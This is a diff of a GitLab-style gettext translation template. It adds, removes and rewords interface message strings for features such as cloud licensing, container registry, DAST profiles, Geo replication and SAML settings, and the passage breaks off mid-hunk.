@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
